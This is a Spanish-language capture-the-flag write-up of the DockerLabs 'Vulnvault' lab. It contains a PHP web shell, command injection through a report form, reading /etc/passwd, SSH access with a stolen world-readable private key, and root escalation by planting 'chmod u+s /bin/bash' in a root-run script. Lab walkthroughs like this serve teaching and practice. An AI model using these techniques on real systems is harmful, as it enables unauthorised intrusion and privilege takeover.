Post

DockerLabs - Vulnvault

DockerLabs - Vulnvault

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ nmap -sCV -p22,80 172.17.0.2                                  
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_  256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Generador de Reportes - Centro de Operaciones
|_http-server-header: Apache/2.4.58 (Ubuntu)

análisis

Comenzamos revisando la pagina principal, en la que nos encontramos un panel que tiene varias funcionalidades, entre la cuales podemos destacar el generar un report, y subir ficheros:

Desktop View

Dejamos corriendo por detrás a gobuster revisando recursos existentes en el servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.txt,.html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 3494]
/upload.php           (Status: 200) [Size: 33]
/upload.html          (Status: 200) [Size: 2314]
/old                  (Status: 301) [Size: 306] [--> http://172.17.0.2/old/]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Vemos que en el recurso /old encontramos una versión que no tiene estilo, pero nada que nos ayude a acceder al laboratorio:

Desktop View

Y el recurso /upload es el que se emplea en la funcionalidad de subir ficheros que revisaremos mas adelante, el cual nos indica que no hemos indicado un fichero:

Desktop View

Revisamos la funcionalidad de generar reportes, donde se ve reflejado lo que introducimos en los campos del anterior formulario:

Desktop View

El contenido reflejado en la respuesta anterior es el que se encuentra en el documento de texto que nos indican:

Desktop View

Siguiendo con el análisis, revisamos la funcionalidad de subida de ficheros, por si podríamos llegar a subir algún fichero malicioso, como una reverse shell:

Desktop View

acceso inicial (www-data)

Tratamos de subir un fichero que nos permita ejecutar comandos remotamente:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ cat shell.php           
<?php
        system($_GET['cmd']);
?>

Y parecería que se está subiendo correctamente:

Desktop View

Sin embargo, no recibimos la ruta en la que se estaría subiendo; interceptando la petición, vemos que de hecho, está fallando:

Desktop View

Haciendo pruebas con el formulario de la generación de reportes, nos damos cuenta de que podemos llegar a ejecutar comandos si indicamos un ; y luego un comando, ya que con esto lo que logramos es inyectar un comando. Este se va a concatenar al que ya se está empleando para tratar el texto introducido (esto ocurre siempre y cuando el input no se esté sanitizando correctamente):

Desktop View

En la respuesta observamos que se ve reflejado el resultado del comando inyectado:

Desktop View

Normalmente, en este momento, la idea sería conseguir una consola interactiva en la máquina, pero en mi caso he optado por seguir usando la página web para ejecutar comandos, lo cual es menos recomendable, ya que tenemos menos movilidad.

movimiento lateral (samara)

Pudiendo ya ejecutar comandos de forma remota, obtenemos los usuarios del sistema mediante la lectura del fichero /etc/passwd:

Desktop View

Encontramos que el usuario con bajos privilegios es samara, por lo que comprobamos que ficheros tiene en el directorio principal:

Desktop View

Leemos los ficheros en caso de que haya algo que nos de acceso a la máquina:

Desktop View

Al ir a revisar la carpeta .ssh, vemos que el fichero id_rsa se encuentra disponible, y los permisos indican que todo usuario puede leerlo:

Desktop View

Mostramos el contenido por pantalla del fichero id_rsa:

Desktop View

Lo guardamos en un fichero, le damos permisos 600 (lectura y escritura únicamente para el propietario del fichero), y nos conectamos como el usuario samara, ya que al pertenecer a dicho usuario, no nos pedirá la contraseña para acceder por SSH:

1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ chmod 600 id_rsa   
                                                                                                                                                                                                  
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ ssh -i id_rsa samara@172.17.0.2
samara@8d57fdfa7175:~$ whoami
samara
samara@8d57fdfa7175:~$ hostname -I
172.17.0.2

Una vez dentro, vemos que ahora podemos leer el contenido del fichero user.txt:

1
2
3
4
samara@8d57fdfa7175:~$ ls
message.txt  user.txt
samara@8d57fdfa7175:~$ cat user.txt 
030208**************************

escalada de privilegios (root)

Tras revisar permisos SUDO y SUID, vemos que no van los tiros por ahí, por lo que revisamos los ficheros sobre los cuales tenemos permisos de escritura, donde vemos uno que llama la atención (/usr/local/bin/echo.sh):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
samara@8d57fdfa7175:~$ find / -writable 2>/dev/null | grep -vE "/proc|/dev|/var|/run"
/home/samara
/home/samara/user.txt
/home/samara/.bash_history
/home/samara/.local
/home/samara/.local/share
/home/samara/.local/share/nano
/home/samara/.cache
/home/samara/.cache/motd.legal-displayed
/home/samara/.profile
/home/samara/.ssh
/home/samara/.ssh/id_rsa
/home/samara/.ssh/id_rsa.pub
/home/samara/.bash_logout
/home/samara/.bashrc
/etc/systemd/system-generators/systemd-gpt-auto-generator
/usr/local/bin
/usr/local/bin/echo.sh
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/cryptdisks.service
/tmp

Lo revisamos para ver cual es su contenido, el cual nos confirma que se trata de un script en bash:

1
2
3
4
samara@8d57fdfa7175:~$ cat /usr/local/bin/echo.sh
#!/bin/bash

echo "No tienes permitido estar aqui :(." > /home/samara/message.txt

Comprobamos los permisos que tiene, y vemos que podríamos llegar a modificarlo:

1
2
samara@8d57fdfa7175:~$ ls -la /usr/local/bin/echo.sh
-rwxrw-rw- 1 root root 82 Aug 20  2024 /usr/local/bin/echo.sh

Debido a que es posible que haya una tarea cron que está ejecutando este script a intervalos regulares de tiempo, vamos a emplear pspy (GitHub) para ver los procesos que se ejecutan en el sistema:

Desktop View

Lo subimos a la carpeta /tmp de maquina empleando scp:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Vulnvault]
└─$ scp -i id_rsa pspy64 samara@172.17.0.2:/tmp    
pspy64                                                                                                                                                                          100% 3032KB  58.5MB/s   00:00

Le damos permisos de ejecución, lo ejecutamos, e inmediatamente nos daremos cuenta de que cada segundo se ejecuta el script que hemos visto:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CMD: UID=0     PID=828573 | chmod u+s /bin/bash 
CMD: UID=0     PID=828574 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828575 | /bin/bash /usr/local/bin/echo.sh 
CMD: UID=0     PID=828576 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828577 | 
CMD: UID=0     PID=828578 | 
CMD: UID=0     PID=828579 | /bin/bash /usr/local/bin/echo.sh 
CMD: UID=0     PID=828580 | /bin/bash /usr/local/bin/echo.sh 
CMD: UID=0     PID=828581 | chmod u+s /bin/bash 
CMD: UID=0     PID=828582 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828583 | 
CMD: UID=0     PID=828584 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828585 | chmod u+s /bin/bash 
CMD: UID=0     PID=828586 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828587 | 
CMD: UID=0     PID=828588 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 
CMD: UID=0     PID=828589 | /bin/bash /usr/local/bin/echo.sh 
CMD: UID=0     PID=828590 | 
CMD: UID=0     PID=828591 | /bin/bash /usr/local/bin/echo.sh 
CMD: UID=0     PID=828592 | /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done 

Revisando los tiempos de creación nos indica que el fichero message.txt se está continuamente sobreescribiendo:

1
2
3
4
samara@8d57fdfa7175:~$ ls -la message.txt 
-rw-r--r-- 1 root root 0 Nov  2 18:40 message.txt
samara@8d57fdfa7175:~$ ls -la message.txt 
-rw-r--r-- 1 root root 35 Nov  2 18:41 message.txt

Con esto llegamos a la conclusión de que podemos llegar a ejecutar comandos como el usuario root, ya que lo que indiquemos en el script echo.sh se ejecutará con los permisos del usuario root cada segundo:

1
2
3
4
5
6
7
8
samara@8d57fdfa7175:~$ cat /usr/local/bin/echo.sh
#!/bin/bash

echo "No tienes permitido estar aqui :(." > /home/samara/message.txt

chmod u+s /bin/bash
samara@8d57fdfa7175:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Para este caso, hemos empleado el método de cambiar los permisos del binario /bin/bash para que sea SUID, y así poder invocar una consola privilegiada:

1
2
3
samara@8d57fdfa7175:/tmp$ bash -p
bash-5.2# whoami
root

La flag del usuario root:

1
2
bash-5.2# cat root.txt 
640c89**************************

Y con esto habremos concluido la resolución del laboratorio!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.